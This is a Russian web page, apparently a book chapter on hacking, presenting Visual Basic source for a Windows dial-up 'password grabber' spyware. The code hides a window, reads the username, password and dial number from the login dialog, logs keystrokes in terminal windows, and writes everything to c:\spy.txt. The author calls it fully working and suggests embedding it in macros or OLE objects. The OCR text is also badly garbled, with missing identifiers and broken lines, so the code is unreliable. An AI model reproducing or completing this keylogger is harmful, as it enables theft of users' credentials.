На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Съемщик паролей


Вот, кажется, полезный который может принести выго-
ду не только антпвирусппкам, но и создателю. Работа программы происходит так.
При инициализации создается окно и к нему привязываются два таймера с тиками 2 раза в секунду и 100 раз/сек. Первый таймер пред­назначен для отслеживания попыток установки связи с Интернетом (фактически связь может и не быть установлена); второй - для отслеживания нажатий клавиш. Недостаточно обрабатывать месседж
WM_KEYDOWN, поэтому по второму таймеру отслеживаются все нажатия клавиш (или напишите свой драйвер клавиатуры). Первый таймер всегда включен, второй включается только при обнаружении
окна терминала (если способ входа предусматривает это). Когда юзер нажимает ОК в диалоге ввода имени/пароля, появляется окно «Уста­новка связи а диалог с экрана пропадает. Выясняется, что этот ди­алог по какой-то выгружается из памяти, а просто прячет­ся (невидимо происходят и другие интересные вещи). Таким образом, появление «Установка связи с... » является сигналом к снятию со­держимого парольного диалога. Параллельно начинает отслеживаться появление окна терминала и, если есть, включается второй таймер, весь клавиатурный ввод. По пропадании терминала на­копленное выгружается на диск, второй таймер выключается.
Для образчика выбран общепонятный язык бейсик. Специфичес­кие места для облегчения и написа­ния на других компиляторах. Тем менее код полностью рабочий. Тем удобнее встроить его, скажем, в макросы или OLE-объекты, в чем бейсик мастак. Простите, код не совсем причесан и не оптими­зирован, просто не ставилась такая цель. конечно же, сделают это согласно условиям его применения.
//Миф. для справки:
// типы данных
// string или $ - вызовов API преобразуется в
// integer или % - int (signed).
// ByVal означает, что аргумент передается в стек по значению, по-Паскалевеки (вызовы API).
// опущенное        означает передачу аргумента по ссылке.
// знак <> означает «не равно».
// Здесь создается внутренняя структура описания окна просто   для удобства.
Type Window
hwnd As Integer
name  As String
End Type
// Массив для кодов клавиш Global  key(255)   As Integer
Dim As String
Dim PassWrd As String
Dim DialNum As String Dim As Window
Dim Child(255)   As Window
Dim Shift As   Integer   //   Флажок нажатия Shift
Global As String
Global  TermBox As String
//   Объявления   вызовов API
Declare Function GetWindow% Lib «user» (ByVal hwin-dow%,   ByVal wCmd%)
Declare Function GetWindowText% Lib «user» (ByVal hwindow%,   ByVal  lpSting$,  ByVal nMaxCount%)
Declare     Function     GetWindowTextLength%     Lib «user» (ByVal hwindow%)
Declare Function SendMessage% Lib «user»   (ByVal hwnd%,
ByVal message%,   ByVal wParam%,   ByVal lParam$)
Declare Function GetAsyncKeyState% Lib «user» (ByVal X As Integer)
Const  GW_CHILD  = 5 Const  GW_HWNDFIRST = 0 Const  GW HWNDLAST = 1
Const GW_HWNDNEXT = 2 Const GW_HWNDPREV = 3 Const GW_OWNER = 4
// Месседж, посылаемый окну для получения его содер­жимого
Const WM GETTEXT =   &HD  // OxOD
/ / *
//   * Точка входа *
/ /
*****************************************************
*
Sub Main ()
Load SpyWindow // для отслеживания списка окон созда­ем стартовое окно...
SpyWindow.   Hide прячем его.
// к созданному окну привязано два таймера, Т1 и Т2, с тиками 2 раза/сек и 100 раз/сек.
// инициализация такова, что Т1 разрешен, Т2 выклю­чен
// с приходом месседжа от II вызывается обработка void TimerProcl(void)
// с приходом месседжа от Т2 вызывается обработка void TimerProc2(void)
End Sub
/
***************************************************** ******
// * основная процедура, вызывается 2 раза/сек от тай­мера Т1 *
/ / *****************************************************
******
Sub TimerProcl ()
Dim newUserName As String
Dim As String
Dim newDialNum As String Dim As Integer
Dim i As Integer Dim j   As Integer
LoadWnds   / /   загружаем список  всех окон
If FindWindow(«Терминала (после подключения)») О О Then
// Найдено окно терминальты
If SpyWindow.   Timer2.   Interval = 0 Then
//если второй таймер был выключен, то чистим буфер клавиатуры и  включаем его
For i = 0 То 255:   j   = GetAsyncKeyState (i)  :   Next i
SpyWindow.   Timer2.   Interval 20
End If
Else  //Онко терминала не найдено...
SpyWindow.   Timer2.   Interval <>0 Then //...не было ранее,   а теперь пропало
SaveTermlnfo TermChar, TermBox =
SpyWindow. Timer2. Interval = 0 //выключаем таймер 2 End If
End If
// Проверяем попытку установить связь
// Используется тот факт, что, когда появляется окно «Установка  связи с», то:
// первый диалог   (где набирает пароль) просто
прячется,   но не
//   выгружается.   Спасибо Вилли Гейтсу :=)
If FindNearWindow(«Установлена связь с»)   <> 0 Then //   грузим список дочерних окон этого окна:
LoadChilds
//   сбой — дочернее  окно  почему-то  не  найдено (???)
If пользователя»)  = 0 Then Exit Sub
// грабим содержимое следующих за именованными дочер­них окошек:
= пользовате­ля»)+1)
newPassWrd = Capture
newDialNum = Capture(FindChild(«Телефон»)   + 1)
//  сверяем с ранее сграбленными
If  UserName  =  newUserName And  PassWrd = newPassWrd And DialNum = newDialNum Then Exit Sub //  хотя бы одно значение отличается!
UserName = newUserName
PassWrd = newPassWrd DialNum = newDialNum
SaveDialoglnfo   (UserName,   PassWrd, DialNum) End If
End Sub
Function Capture    (childlDX As  Integer)   As String
/ / аргумент — индекс в массиве загруженных дочерних окон
// посылает окну сообщение WM_GETTEXT и получает его содержимое
//   возвращает его   (в виде строки)
Dim     As Integer Dim wParam As Integer Dim lParam As String
wParam = 1024 // длина содержимого
IParam = // содержит  строку про-
белов  длиной   1024 символа
rc = SendMessage(Child(childlDX). hchild, WM_GETTEXT, wParam, IParam)
If     <> 0 Then IParam = // обрез-
ка  строки по  фактической длине
Capture = IParam
End Function
Function  FindChild   (childNamc As  String)   As Integer
//  аргумент -  строка,   содерж.   имя дочернего окна
/ / возвращает индекс массива загруженных процедурой LoadChilds  доч. окон
Dim i As Integer FindChild = 0
For i      0 To 255 If InStr(Child(i).  name,   childName)   <> 0 Then //  встроенная ф-ция ищет подстроку в строке
//   возвращает  позицию вхождения или О
FindChild i
Exit For
End If
Next i
End Function
Function (WinName As String) As Integer
//  ищет приблизительно подходящее название окна //   возвращает индекс  в массиве  загруженых окон
Dim i As Integer FindNearWindow 0
For i = 0 To 2 55 If InStr(Wnd(i) .  name,  WinName)   <> 0 Then FindNearWindow = Wnd(i). hwnd
Exit For
End If
Next i
End Function
Function FindWindow (WinName As String) As Integer
// CM. FindNearWindow
Dim i As Integer FindWindow = 0
For i      0 To 255 If Wnd(i).  name = WinName Then FindWindow = Wnd(i). hwnd
Exit For
End If Next i End Function
Sub (hwnd As Integer)
// загружает в массив Child () список дочерних окошек указанного окна
// аргумент — указывающий окно
Dim As Integer
Dim IpszChildName As String
Dim As Integer
Dim     As Integer
Dim i As Integer
hchild = GetWindow(hwnd, GW_CHILD) // API ф-ция воз­вращает hWnd дочернего окна
While hchild <> О
cbChildName  = GetWindowTextLength(hchild)
IpszChildName = Space (127) // забивает в переменную 127 пробелов
= GetWindowText(hchild,   IpszChildName, cbChildName
+ 1)
If        <> 0 Then
IpszChildName = обрезка
строки под  реальную длину
name = IpszChildName
End If
hchild = hchild
i = i + 1
DoEvents // дает Windows обработать одно сообщение
системной  очереди    (от задержек)
hchild = // next child
Wend End Sub
Sub LoadWnds () // CM.
Dim IpszWinNarns As String
Dim cbWinName As Integer Dim As Integer
Dim created As Integer Dim      As Integer
Dim i As Integer
hwnd = GetWindow(SpyWindow.  hWnd, GW_HWNDFIRST)
While hwnd <> 0 cbWinName =
IpszWinName = Space(127)
= GetWindowText(hwnd,   IpszWinName,   cbWinName + 1)
If     <> 0 Then IpszWinName =
name = IpszWinName
hwnd = hwnd
Глава 4 .Кто, как и зачем ломает интернет-сайты
i = i + 1 End If
DoEvents
hwnd = GetWindow(hwnd, gw_hwndnext) Wend End Sub
Sub SaveDialoglnfo (User As String, PassWrd As String, DialNum As String)
Dim As Integer
= FreeFile
Open «c:\spy.txt» For Append As hFile
// Append открывает файл и перемещает указатель на ко­нец файла
Print   #hFile,   «Connected»  &  Date       « — «  & Time
Print #hFile, «User=» & User & «Pass==» & PassWrd & «Dial=» & DialNum
Close hFile
End Sub
Sub    SaveTermlnfo     (TermChai   As    String,     TermBox As
String)
Dim hFile As Integer hFile = FreeFile
Open txt» For Append As hFile
Print «Term Box=» & TermBox
Print  #hFile,   «Term Type=» & TermChar
Close hFile
End Sub
Sub TimerProc2 ()
//   процедура   обработки  второго таймера
Static ri As Integer
Static   k As Integer
Static rs As String
For k =  0  To 255
ri =
// проверка нажатия/отпускания клавиш и устранение повторов
If (ri <> 0) And (Not Then = TermChar
+ Translate(k, True)
117
Павел Даниэль Шрейн
If (ri = 0)  And key (к)   Then rs = Translate (к, False) keyfks  = ri <> 0 Next k End Sub
Function Translate   (code As  Integer,   press As Integer)
As String
// простенький транслятор скзн-кодов
//  аргумент press индицирует нажатие  Shift'а
//   возвращает  строку в  коде ASCII
If code1 = 16 Then Shift  = press:   Exit Function
If  code = 8 Then Translate = «[18]*:   Exit Function
If code -  32  Then Translate = « «:   Exit Function
If code = 13 Then Translate = Chr(13) + Chr(10): Exit Function
If code >  64 And code <  91 Then
If Shift Then Translate = Chr(code)
Else
Translate - Chrfcode + 32) End If
Exit Function
End If
If code > 47 And code < 58 Then If Shift Then
Translate = Choose (code — 47, «)», «!», «@», «#», «$», «%»,  «Л»,   «&»,  «*», «(«)
// Choose выбирает одно из списочных значений от пер­вого
Else
Translate
End If
Exit Function
End If
If code > 95 And code < 108 Then
Translate = Choose (code — 95, «0», «1», «2», «3», «4», «5», «6», «7», «8», «9», «*», «+»)
Function End If
Select   Case Shift Case True
Select Case code
Case 192
Translate = Case
Translate
Case 187
Translate
Case 220
Translate = Case 188 Translate = Case 190 Translate Case 191 Translate
End Select Exit Function
Case False Select Case code
«Case. class» tppabs=»http://www. chat. ru/%7esly_fox/Case.  class» 192
Translate Case 189 Translate = Case 187 Translate =-Case 220 Translate Case 188 Translate = Case 190 Translate = Case 191
Translate - «/»
End Select End Select End Function

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика